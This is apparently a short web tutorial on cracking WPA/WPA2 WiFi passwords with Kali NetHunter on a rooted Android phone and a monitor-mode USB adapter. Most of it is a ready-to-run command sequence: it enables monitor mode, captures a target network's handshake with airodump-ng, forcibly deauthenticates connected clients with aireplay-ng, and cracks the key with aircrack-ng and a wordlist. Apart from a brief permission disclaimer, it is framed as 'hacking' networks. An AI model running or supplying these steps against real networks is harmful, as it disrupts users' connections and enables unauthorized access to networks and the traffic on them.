The best way to hack WI-FI with a cell phone and an Network Adapter in 2025

How to Use Nethunter and a WiFi Adapter to Get WiFi Passwords

Important Note

Before proceeding, ensure that you have permission to test the network. Unauthorized access to networks is illegal and unethical.

Requirements

• Kali Nethunter: Installed on your Android device.
• Compatible WiFi Adapter: A USB WiFi adapter that supports monitor mode and packet injection (e.g., Alfa AWUS036NHA).
• Rooted Android Device: Nethunter requires root access.

Steps to Retrieve WiFi Passwords

1. Set Up Your Environment

• Connect the WiFi Adapter: Plug in your compatible WiFi adapter to your Android device.
• Open Nethunter: Launch the Nethunter app on your device.

2. Enable Monitor Mode

• Open a terminal in Nethunter.
• Use the following command to list available wireless interfaces:

  bash

  Copy

  iwconfig

• Identify your WiFi adapter (e.g., wlan0).
• Enable monitor mode:

  bash

  Copy

  airmon-ng start wlan0


3. Capture Handshake

• Use airodump-ng to capture the WPA/WPA2 handshake:

  bash

  Copy

  airodump-ng wlan0mon

• Identify the target network and note its BSSID and channel.
• Capture the handshake by specifying the target:

  bash

  Copy

  airodump-ng --bssid [BSSID] -c [CHANNEL] -w [FILE_NAME] wlan0mon


4. Deauthenticate a Client (Optional)

• If you need to force a client to reconnect and capture the handshake:

  bash

  Copy

  aireplay-ng --deauth 10 -a [BSSID] wlan0mon

• Replace [BSSID] with the target network’s BSSID.

5. Crack the Password

• Use a cracking tool like aircrack-ng to crack the captured handshake:

  bash

  Copy

  aircrack-ng [FILE_NAME].cap -w [WORDLIST_PATH]

• Replace [WORDLIST_PATH] with the path to your wordlist file.

6. Review Results

• If successful, the WiFi password will be displayed in the terminal.

Suggested Tools

• Aircrack-ng Suite: A collection of tools for assessing WiFi network security.
• Wordlists: Use common wordlists like rockyou.txt for password cracking.

Images and Videos

• Images: Screenshots of the Nethunter interface, terminal commands, and results.
• Videos: Short clips demonstrating the setup process and capturing handshakes.

Conclusion

Using Nethunter with a compatible WiFi adapter can help in assessing the security of WiFi networks. Always remember to obtain permission before testing any network, and use these skills responsibly.
